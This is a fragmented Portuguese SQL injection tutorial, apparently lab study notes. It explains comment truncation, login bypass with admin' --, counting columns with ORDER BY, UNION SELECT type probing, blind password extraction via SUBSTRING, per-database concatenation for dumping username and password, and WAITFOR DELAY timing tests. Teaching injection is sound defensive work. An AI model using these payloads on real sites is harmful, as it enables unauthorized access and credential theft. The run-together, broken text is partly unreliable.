Gifts'+OR+1=1--
e colocá-la na URL:+
transforma-se em espaço--
ao final da entrada do atacante. Isso representa, em certos bancos de dados (e nesse caso), um comentário. Logo, tudo que estiver escrito após isso será considerado um comentário. Isso é necessário para que a query termine com o código do atacante e ignore todo o resto. Por exemplo, se a consulta fosse' AND (price < 100)
) não for comentado, o atacante não obterá tudo que quer ou a consulta dará erro. Entretanto, se houver um --
ao final da entrada, não haverá problemas (blabla' OR 1=1 --
):admin' --
e qualquer coisa na senha (pois ela não será verificada). Assim, query SQL fica:UNION
, que permite a execução de SELECTs adicionais em uma query. Por exemplo, a query abaixo retorna 4 colunas: a, b (da table_1) e c, d (da table_2).ORDER BY
+ índice da coluna na tabela
. Esse comando ordena as respostas (por ordem alfabética por exemplo) de acordo com certa coluna. Para descobrir a quantidade de colunas da tabela, basta ir aumentando o índice da coluna no ORDER BY
. Quando o servidor responder com um erro para o ORDER BY X
, sabemos que a coluna X não existe e, portanto, a tabela tem X-1 colunas."The ORDER BY position number 3 is out of range of the number of items in the select list."
' UNION SELECT 'a',NULL,NULL,NULL --
, testaremos se a 1ª coluna contém strings, pois estamos fazendo um UNION, ou seja, o dado da 1ª coluna do 1º SELECT deve ser do mesmo tipo que o da 1ª coluna do 2º SELECT (o mesmo vale para as outras colunas). Caso o servidor responda com um erro (como Conversion failed when converting the varchar value 'a' to data type int.
), sabemos que a primeira coluna não contém strings (varchar). Do contrário, se a query for um sucesso, a primeira coluna armazena strings.NULL
pode ser convertido para qualquer tipo, portanto não haverá problemas relacionados a tipos de dado incompatíveis ao utilizá-lo num UNION.SUBSTRING
: SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '
+ pwn' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
-> TRUE
=> 1ª letra da senha é maior que 'm'(usar SUBSTR ou SUBSTRING - depende do DB)SELECT TrackingId FROM TrackedUsers WHERE TrackingId = '
+ pwn' UNION SELECT 'a' WHERE 1=1--
SELECT
sempre deve conter um FROM <nome_da_tabela>
. Para isso, uma tabela "padrão" para se usar é DUAL
||
: ' UNION SELECT username || '~' || password FROM users -- -
(ORACLE e POSTGRE) ou 'foo'+'bar'
(MICROSOFT) ou 'foo' 'bar'
e CONCAT('foo','bar')
(MYSQL)'
);OR 1=1
e OR 1=2
;'; IF (1=2) WAITFOR DELAY '0:0:10'--
e analisar o tempo de resposta;